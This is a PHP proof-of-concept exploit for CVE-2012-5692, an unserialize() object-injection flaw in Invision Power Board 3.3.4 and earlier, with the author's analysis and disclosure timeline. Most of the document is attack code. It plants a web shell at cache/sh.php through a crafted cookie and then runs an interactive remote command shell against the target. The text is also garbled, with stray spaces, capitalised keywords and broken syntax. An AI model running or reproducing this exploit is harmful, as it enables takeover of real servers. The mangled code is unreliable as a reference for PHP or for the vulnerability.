<? Php
/*
----------------------------------------------------------------
Invision Power Board <= 3.3.4 "unserialize ()" PHP Code Execution
----------------------------------------------------------------
Author ......: Egidio Romano aka EgiX
Mail ......: n0b0d13s [at] gmail [dot] com
Software link .........: http://www.invisionpower.com/
+ ------------------------------------------------------------------------- +
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+ ------------------------------------------------------------------------- +
[-] Vulnerable code in IPSCookie: get () method defined in/admin/sources/base/core. php
4015. static public function get ($ name)
4016 .{
4017. // Check internal data first
4018. if (isset (self: $ _ cookiesSet [$ name])
4019 .{
4020. return self: $ _ cookiesSet [$ name];
4021 .}
4022. else if (isset ($ _ COOKIE [ipsRegistry: $ settings ['cookie _ id']. $ name])
4023 .{
4024. $ _ value = $ _ COOKIE [ipsRegistry: $ settings ['cookie _ id']. $ name];
4025.
4026. if (substr ($ _ value, 0, 2) = 'a :')
4027 .{
4028. return unserialize (stripslashes (urldecode ($ _ value )));
4029 .}
The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
Sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
With 'a: ', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send
Serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
Via the "_ destruct ()" method of the "dbMain" class, which callthe "writeDebugLog" method to write debug
Info into a file. PHP code may be injected only through the $ _ SERVER ['query _ string'] variable, for this
Reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
[-] Disclosure timeline:
[21/10/2012]-Vulnerability discovered
[23/10/2012]-Vendor notified
[25/10/2012]-Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
[25/10/2012]-CVE number requested
[29/10/2012]-Assigned CVE-2012-5692
[31/10/2012]-Public disclosure
*/
Error_reporting (0 );
Set_time_limit (0 );
Ini_set ('default _ socket_timeout ', 5 );
Function http_send ($ host, $ packet)
{
If (! ($ Sock = fsockopen ($ host, 80) die ("\ n [-] No response from {$ host}: 80 \ n ");
Fputs ($ sock, $ packet );
Return stream_get_contents ($ sock );
}
Print "\ n + --------------------------------------------------------------------- + ";
Print "\ n | Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX | ";
Print "\ n + --------------------------------------------------------------------- + \ n ";
If ($ argc <3)
{
Print "\ nUsage...: php $ argv [0] Print "\ nExample...: php $ argv [0] localhost /";
Print "\ nExample...: php $ argv [0] localhost/ipb/\ n ";
Die ();
}
List ($ host, $ path) = array ($ argv [1], $ argv [2]);
$ Packet = "GET {$ path} index. php HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
$ _ Prefix = preg_match ('/Cookie: (. +) session/', http_send ($ host, $ packet), $ m )? $ M [1]: '';
Class db_driver_mysql
{
Public $ obj = array ('use _ debug_log '=> 1, 'debug _ log' => 'cache/sh. php ');
}
$ Payload = urlencode (serialize (array (new db_driver_mysql )));
$ Phpcode = '<? Error_reporting (0); print (___); passthru (base64_decode ($ _ SERVER [HTTP_CMD]); die;?> ';
$ Packet = "GET {$ path} index. php? {$ Phpcode} HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Cookie: {$ _ prefix} member_id = {$ payload} \ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
Http_send ($ host, $ packet );
$ Packet = "GET {$ path} cache/sh. php HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Cmd: % s \ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
If (preg_match ('/<\? Error/', http_send ($ host, $ packet) die ("\ n [-] short_open_tag disabled! \ N ");
While (1)
{
Print "\ nipb-shell #";
If ($ cmd = trim (fgets (STDIN) = "exit") break;
$ Response = http_send ($ host, sprintf ($ packet, base64_encode ($ cmd )));
Preg_match ('/___ (. *)/s', $ response, $ m )? Print $ m [1]: die ("\ n [-] Exploit failed! \ N ");
}